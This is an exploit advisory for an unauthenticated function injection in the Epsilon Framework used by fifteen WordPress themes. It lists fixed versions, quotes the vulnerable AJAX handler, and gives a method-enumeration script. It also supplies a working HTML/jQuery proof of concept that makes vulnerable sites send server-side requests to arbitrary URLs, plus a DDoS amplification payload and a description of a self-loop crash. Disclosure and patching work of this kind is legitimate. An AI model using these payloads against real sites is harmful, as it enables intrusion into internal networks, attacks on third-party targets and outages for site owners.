WordPress Epsilon Framework SSRF / Denial of Service

# Exploit Title: Wordpress Epsilon Framework Multiple Themes - Unauthenticated Function Injection
# Date: 22/12/2020
# Exploit Authors: gx1 <g.per45[at]gmail.com> lotar <Giuseppe.DiTerlizzi[at]nttdata.com>
# Vendor Homepage: https://wordpress.com/
# Software Link:   https://github.com/WordPress/WordPress
# Affected Themes: 

shapely        - Fixed in version 1.2.9
newsmag        - Fixed in version 2.4.2
activello      -  Fixed in version 1.4.2
illdy          - Fixed in version 2.1.7
allegiant      -  Fixed in version 1.2.6
newspaper-x    -  Fixed in version 1.3.2
pixova-lite    -  Fixed in version 2.0.7
brilliance     -  Fixed in version 1.3.0
medzone-lite   -  Fixed in version 1.2.6
regina-lite    -  Fixed in version 2.0.6
transcend      -  Fixed in version 1.2.0
affluent       -  Fixed in version 1.1.2
bonkers        -  Fixed in version 1.0.6
antreas        -  Fixed in version 1.0.7
naturemag-lite -  No known fix

# Tested on: Wordpress 5.6
# CVE :  N/A

# References: 

- https://wpscan.com/vulnerability/10417
- https://blog.nintechnet.com/unauthenticated-function-injection-vulnerability-fixed-in-15-wordpress-themes/
- https://www.wordfence.com/blog/2020/11/large-scale-attacks-target-epsilon-framework-themes/
- https://developer.wordpress.org/reference/classes/requests/request_multiple/

Description: 

Fifteen WordPress themes use a vulnerable version of epsilon-framework that vulnerable to a critical unauthenticated function injection vulnerability, due to the lack of capability and CSRF nonce checks in AJAX actions.

Technical Details: 

The vulnerability is present in epsilon_framework_ajax_action AJAX action that is accessible to all users, authenticated or not. 
The function takes three POST user input, assign them to the $class, $method and $args variables and calls the class with arguments: 

================================================================

  public function epsilon_framework_ajax_action() {
      if ( 'epsilon_framework_ajax_action' !== $_POST['action'] ) {
         wp_die(
            json_encode(
               array(
                  'status' => false,
                  'error'  => 'Not allowed',
               )
            )
         );
      }
   
      if ( count( $_POST['args']['action'] ) !== 2 ) {
         wp_die(
            json_encode(
               array(
                  'status' => false,
                  'error'  => 'Not allowed',
               )
            )
         );
      }
   
      if ( ! class_exists( $_POST['args']['action'][0] ) ) {
         wp_die(
            json_encode(
               array(
                  'status' => false,
                  'error'  => 'Class does not exist',
               )
            )
         );
      }
   
      $class  = $_POST['args']['action'][0];
      $method = $_POST['args']['action'][1];
      $args   = $_POST['args']['args'];
   
      $response = $class::$method( $args );
================================================================  

Nonce is checked only if it set.
As it is possible to observe, the vulnerability can be exploited if the attacker is able to use a class that contains a public static method that accept an array argument. 
Useful methods should be investigated in the context of the targeted website, because they could depend by the installed plugins and themes. 
On a wordpress instance, it is possible to store the list of classes containing public static methods by adding this code in epsilon_framework_ajax_action function: 

================================================================
function testClasses() {
       error_log("[+] IN TEST CLASSES");
       mkdir("/tmp/classes");
       foreach(get_declared_classes() as $c) { 
         mylog($c);
         $f = fopen('/tmp/classes/'.$c, 'w');
         $reflection = new ReflectionClass($c);
         $staticMethods = $reflection->getMethods(ReflectionMethod::IS_STATIC); 
         foreach($staticMethods as $sm) {
           mylog($sm);
           fwrite($f, $sm . "\n");
         }
         fclose($f);
       }   
     }   
     testClasses();
===============================================================

We have found Requests::request_multiple static method(array $requests) in the core of Wordpress that can be used to send arbitrary HTTP requests, with critical dangerous effects for the vulnerable target. 

Proof Of Concept: 

The following code: 

===============================================================
<html>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>
$(document).ready(function(){
console.log("document ready");
var ajax_url = "<vulnerable-wordpress-ip>/wp-admin/admin-ajax.php"
var data = {
'action':  'epsilon_framework_ajax_action',
'args': {
'action': ["Requests", "request_multiple"],
'args' : [{"url": "<poc-website>"}]
}
}
$.post(ajax_url, data, function(response) {
console.log("in response")
});
});
</script>
</html> 
===============================================================

sends a request to <poc-request>: 

==============================================================================================================================
<vulnerable-wordpress-ip>- - [22/Dec/2020:18:36:51 +0000] "GET / HTTP/1.1" 200 3898 "<poc-website>" "php-requests/1.7-3470169"
==============================================================================================================================


Impacts:

1. DDOS amplification against a target: the attacker can exploit vulnerable wordpress sites to send ajax requests with args array containing multiple occurrences of the target. In this way, he can perform an amplification attack against a target website. 
 var data = {
'action':  'epsilon_framework_ajax_action',

'args': {
'action': ["Requests", "request_multiple"],
'args' : [{"url": "<target>"}, {"url": "<target>"}, {"url": "<target>"}, ...]
}
}

2. SSRF: the attacker can exploit Requests::request_multiple method to perform a Server-Side Request Forgery and obtain access to internal network through vulnerable Wordpress site.
3. Wordpress DoS: if the attacker creates a specific POST request that contains a request to "/wp-admin/admin-ajax.php" as data he could be able to create an internal loop that crashes Wordpress site. 

Solution: 
In Affected Themes we show the fixed versions.

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